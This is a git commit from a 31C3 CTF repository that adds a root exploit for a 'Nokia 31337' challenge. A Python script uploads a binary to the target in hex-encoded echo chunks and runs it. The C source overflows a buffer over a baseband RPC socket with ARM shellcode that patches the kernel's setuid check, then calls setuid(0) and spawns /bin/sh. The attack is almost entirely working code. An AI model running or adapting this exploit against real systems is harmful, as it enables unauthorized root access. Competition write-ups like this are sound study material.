31C3 CTF: Add Nokia 31337 root exploit

This commit is contained in:
q3k 2015-01-01 18:51:38 +01:00
parent cecf7c8d85
commit 246796e425
3 changed files with 109 additions and 6 deletions

View file

@ -16,11 +16,11 @@ def waitk():
wait_read(sys.stdin.fileno())
return sys.stdin.read(1)
def typein(s, text):
def typein(s, text, sl=0.01):
for t in text:
if t == '\xff':
t = '\xff\xff'
gevent.sleep(0.1)
gevent.sleep(sl)
s.send(t)
def copier(src, dst):
@ -38,7 +38,7 @@ def handle(client, address):
# Uncomment for production, after brute-forcing token
#print remote_socket.recv(1024)
#gevent.sleep(1)
#remote_socket.send('3573-1419883439.0-4a0ee4c7cbbe18cf39fd76348899c861\n')
#remote_socket.send('56487-1420134316.0-18deaee18219864d9b7711d8bab374ef\n')
#gevent.sleep(1)
gevent.spawn(copier, client, remote_socket)
@ -62,10 +62,23 @@ def handle(client, address):
print "press enter to get shell"
waitk()
while True:
c = waitk()
remote_socket.send(c)
f = open("root")
d = f.read()
f.close()
typein(remote_socket, "reset\n")
gevent.sleep(2)
typein(remote_socket, "rm -f root\n")
for i in range(len(d)/128):
dd = d[i*128:(i+1)*128]
he = ''.join(["\\x%02x" % ord(ddd) for ddd in dd])
typein(remote_socket, 'echo -ne "{}" >> root\n'.format(he), sl=0)
typein(remote_socket, "chmod +x root\n")
typein(remote_socket, "./root\n")
typein(remote_socket, "su root\n")
typein(remote_socket, "cd /home/root\n")
server = gevent.server.StreamServer(local, handle)
server.serve_forever()

BIN
31c3/nokia/root Executable file

Binary file not shown.

90
31c3/nokia/root.c Normal file
View file

@ -0,0 +1,90 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
// Open a socket to the baseband RPC
int rpcsock()
{
char sa[] = {
0x29, 0x00,
0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x65, 0x00, 0x00, 0x00
};
struct sockaddr *sas = (struct sockaddr *)sa;
int fd = socket(41, 5, 0);
if (fd < 0)
{
printf("Could not open socket\n");
exit(1);
}
if (connect(fd, sas, 0xC) != 0)
{
printf("Could not connect\n");
exit(1);
}
return fd;
}
char req[] = {
// type 2, sms send
0x02, 0x00, 0x00, 0x00,
// target phone number
0x00, 0x00, 0x00, 0x00
};
// Shellcode to poke the kernel's sys_setuid
// It patches a beq into a nop @ 0xc0034bd8
// (the physical address is 0x08034bd8)
char shell[] = {
0x0c, 0x10, 0x9f, 0xe5, // ldr r1, [pc, #12]
0x0c, 0x20, 0x9f, 0xe5, // ldr r2, [pc, #12]
0x02, 0x28, 0xa0, 0xe1, // lsl r2, r2, #16
0x08, 0x20, 0x81, 0xe5, // str r2, [r1, #8]
0xfe, 0xff, 0xff, 0xea, // b 0 <pc>
0xd0, 0x4b, 0x03, 0x08, // .word 0x08034bd0
0xa0, 0xe1, 0xff, 0xff // .word 0xffffe1a0
};
int main(int argc, char **argv)
{
int rpc = rpcsock();
// Create the payload
// - two Z bytes to align to 4 bytes
// - shellcode
// - overflow past buffer into saved pc
// - pc set to beginning of shellcode (0x203390)
uint8_t *buf = malloc(sizeof(req) + 178 + 8);
memcpy(buf, req, sizeof(req));
memcpy(buf+sizeof(req), "ZZ", 2);
memcpy(buf+sizeof(req)+2, shell, sizeof(shell));
memset(buf+sizeof(req)+2+sizeof(shell), 'a', 176-sizeof(shell));
memcpy(buf+sizeof(req)+178, "\xde\xad\xbe\xef", 4);
memcpy(buf+sizeof(req)+182, "\x90\x33\x20\x00", 4);
// Send it!
send(rpc, buf, sizeof(req)+186, 0);
// The baseband RPC thread is now hanged (or crashed if something went
// wrong)
// Since ARM is cache-incoherent, do some sleeps until the setuid patch
// takes place.
int retries = 10;
do
{
retries--;
sleep(3);
}
while (setuid(0) == -1 && retries > 0);
// Give it a shot.
char *args[] = {"/bin/sh", 0};
execve(args[0], args, 0);
return 0;
}